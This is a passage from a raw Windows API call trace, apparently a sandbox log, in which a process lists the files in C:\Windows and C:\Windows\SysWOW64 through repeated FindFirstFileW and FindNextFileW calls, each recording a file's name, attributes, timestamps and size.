dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3695960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc3695960, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc36bbac0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain.dll", cAlternateFileName="")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1 [0154.186] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1 [0154.189] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1 [0154.189] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1 [0154.189] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xed7a89e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1 [0154.189] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e196a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x18e196a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5e0aab90, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2ad3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe8f3f540, ftLastAccessTime.dwHighDateTime=0x1d7b063, ftLastWriteTime.dwLowDateTime=0xe8f3f540, ftLastWriteTime.dwHighDateTime=0x1d7b063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsxs", cAlternateFileName="")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1 [0154.190] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 0 [0154.190] FindClose (in: hFindFile=0x1a9d8de0 | out: hFindFile=0x1a9d8de0) returned 1 [0154.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0154.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0154.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0154.191] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64", lpFilePart=0x0) returned 0x13 [0154.192] FindFirstFileW (in: lpFileName="C:\\Windows\\SysWOW64\\*" (normalized: "c:\\windows\\syswow64\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26f5fe20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x26f5fe20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8de0 [0154.195] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26f5fe20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x26f5fe20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.195] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cc6e3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc8cc6e3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc8cecf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x867, dwReserved0=0x0, dwReserved1=0x0, cFileName="12520437.cpx", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c98834, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x4c98834, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xc8d130fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="12520850.cpx", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8699fd85, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8699fd85, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x869c5ee6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aaclient.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x0, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0154.196] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc36d00, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xedc36d00, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedb524c6, ftLastWriteTime.dwHighDateTime=0x1ca0412, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="activeds.tlb", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554a4ec2, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x554a4ec2, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x65268bd0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdapterTroubleshooter.exe", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x0, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de3d920, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5de3d920, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xa1dc9d10, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xa7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cdedaf6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cdedaf6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdvancedInstallers", cAlternateFileName="ADVANC~1")) returned 1 [0154.197] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0154.198] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0154.198] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0154.198] FindNextFileW (in: hFindFile=0x1a9d8de0, 